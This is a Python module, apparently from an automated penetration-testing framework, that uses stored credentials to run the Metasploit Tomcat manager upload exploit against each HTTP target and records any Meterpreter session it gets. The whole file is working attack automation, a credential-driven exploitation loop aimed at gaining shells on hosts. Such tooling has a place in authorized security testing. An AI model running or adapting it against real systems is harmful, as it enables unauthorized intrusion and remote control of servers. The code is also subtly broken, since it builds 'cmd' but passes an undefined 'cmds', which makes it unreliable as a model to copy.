import re

from core.msfActionModule import msfActionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class exploit_msf_tomcat_mgr_upload(msfActionModule):
    def __init__(self, config, display, lock):
        super(exploit_msf_tomcat_mgr_upload, self).__init__(config, display, lock)
        self.triggers = ["newTomcatPassword"]
        self.requirements = ["msfconsole"]
        self.types = ["http"]
        self.title = "Attempt to gain shell via Tomcat"
        self.shortName = "MSFTomcatMgrUpload"
        self.description = "execute [exploit/multi/http/tomcat_mgr_upload] on each target"
        self.safeLevel = 3

    def getTargets(self):
        self.targets = kb.get('service/http', 'port/tcp/80', 'port/tcp/8080')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # If any results are succesful, this will become true and Fire will be called in the end
            callFire = False

            # loop over each target
            for t in self.targets:
                ports = kb.get('service/http/' + t + '/tcp')
                for p in ports:
                    users = kb.get("creds/service/tomcat/" + t + "/tcp/" + p + "/username")
                    for user in users:
                        passwords = kb.get("creds/service/tomcat/" + t + "/tcp/" + p +
                                "/username/" + user + "/password")
                        for password in passwords:
                            # verify we have not tested this host before
                            if not self.seentarget(t+p+user+password):
                                # add the new IP to the already seen list
                                self.addseentarget(t+p+user+password)

                                cmd = {
                                        'config':[
                                                "use exploit/multi/http/tomcat_mgr_upload",
                                                "set RHOST %s" % t,
                                                "set RPORT %s" % p,
                                                "set HTTPUSERNAME %s" % user,
                                                "set HTTPPASSWORD %s" % password,
                                                "set fingerprintcheck false",
                                                "set target 2"
                                            ],
                                        'payload':'win'}
                                result, outfile = self.msfExec(t, cmds)


                                parts = re.findall(".*Meterpreter session.*", result)
                                for part in parts:
                                    callFire = True
                                    self.addVuln(t, self.shortName, {"port": p, "username": user, "password": password, "output": outfile.replace("/", "%2F")})

            if callFire:
                self.fire("msfSession")

        return
